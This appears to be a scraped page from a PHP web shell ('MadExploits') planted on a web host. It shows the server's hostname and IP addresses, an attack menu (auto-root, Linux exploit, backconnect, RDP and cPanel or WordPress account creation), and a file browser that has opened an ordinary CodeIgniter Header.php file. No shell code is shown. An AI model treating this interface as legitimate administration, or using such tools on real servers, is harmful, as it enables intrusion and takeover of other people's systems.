Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
public_html /
system /
HTTP /
[ HOME SHELL ]
Name
Size
Permission
Action
Exceptions
[ DIR ]
drwxr-xr-x
Files
[ DIR ]
drwxr-xr-x
CLIRequest.php
4.75
KB
-rw-r--r--
CURLRequest.php
18.87
KB
-rw-r--r--
ContentSecurityPolicy.php
18.88
KB
-rw-r--r--
DownloadResponse.php
7.5
KB
-rw-r--r--
Header.php
4.19
KB
-rw-r--r--
IncomingRequest.php
22.47
KB
-rw-r--r--
Message.php
2.67
KB
-rw-r--r--
MessageInterface.php
2.29
KB
-rw-r--r--
MessageTrait.php
6.21
KB
-rw-r--r--
Negotiate.php
10.72
KB
-rw-r--r--
RedirectResponse.php
3.93
KB
-rw-r--r--
Request.php
2.86
KB
-rw-r--r--
RequestInterface.php
1.51
KB
-rw-r--r--
RequestTrait.php
10.32
KB
-rw-r--r--
Response.php
9.07
KB
-rw-r--r--
ResponseInterface.php
12.9
KB
-rw-r--r--
ResponseTrait.php
21.01
KB
-rw-r--r--
URI.php
26.01
KB
-rw-r--r--
UserAgent.php
7.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Header.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\HTTP; /** * Class Header * * Represents a single HTTP header. */ class Header { /** * The name of the header. * * @var string */ protected $name; /** * The value of the header. May have more than one * value. If so, will be an array of strings. * * @var array|string */ protected $value; /** * Header constructor. name is mandatory, if a value is provided, it will be set. * * @param array|string|null $value */ public function __construct(string $name, $value = null) { $this->name = $name; $this->setValue($value); } /** * Returns the name of the header, in the same case it was set. */ public function getName(): string { return $this->name; } /** * Gets the raw value of the header. This may return either a string * of an array, depending on whether the header has multiple values or not. * * @return array|string */ public function getValue() { return $this->value; } /** * Sets the name of the header, overwriting any previous value. * * @return $this */ public function setName(string $name) { $this->name = $name; return $this; } /** * Sets the value of the header, overwriting any previous value(s). * * @param array|string|null $value * * @return $this */ public function setValue($value = null) { $this->value = $value ?? ''; return $this; } /** * Appends a value to the list of values for this header. If the * header is a single value string, it will be converted to an array. * * @param array|string|null $value * * @return $this */ public function appendValue($value = null) { if ($value === null) { return $this; } if (! is_array($this->value)) { $this->value = [$this->value]; } if (! in_array($value, $this->value, true)) { $this->value[] = $value; } return $this; } /** * Prepends a value to the list of values for this header. If the * header is a single value string, it will be converted to an array. * * @param array|string|null $value * * @return $this */ public function prependValue($value = null) { if ($value === null) { return $this; } if (! is_array($this->value)) { $this->value = [$this->value]; } array_unshift($this->value, $value); return $this; } /** * Retrieves a comma-separated string of the values for a single header. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * @see https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2 */ public function getValueLine(): string { if (is_string($this->value)) { return $this->value; } if (! is_array($this->value)) { return ''; } $options = []; foreach ($this->value as $key => $value) { if (is_string($key) && ! is_array($value)) { $options[] = $key . '=' . $value; } elseif (is_array($value)) { $key = key($value); $options[] = $key . '=' . $value[$key]; } elseif (is_numeric($key)) { $options[] = $value; } } return implode(', ', $options); } /** * Returns a representation of the entire header string, including * the header name and all values converted to the proper format. */ public function __toString(): string { return $this->name . ': ' . $this->getValueLine(); } }
Close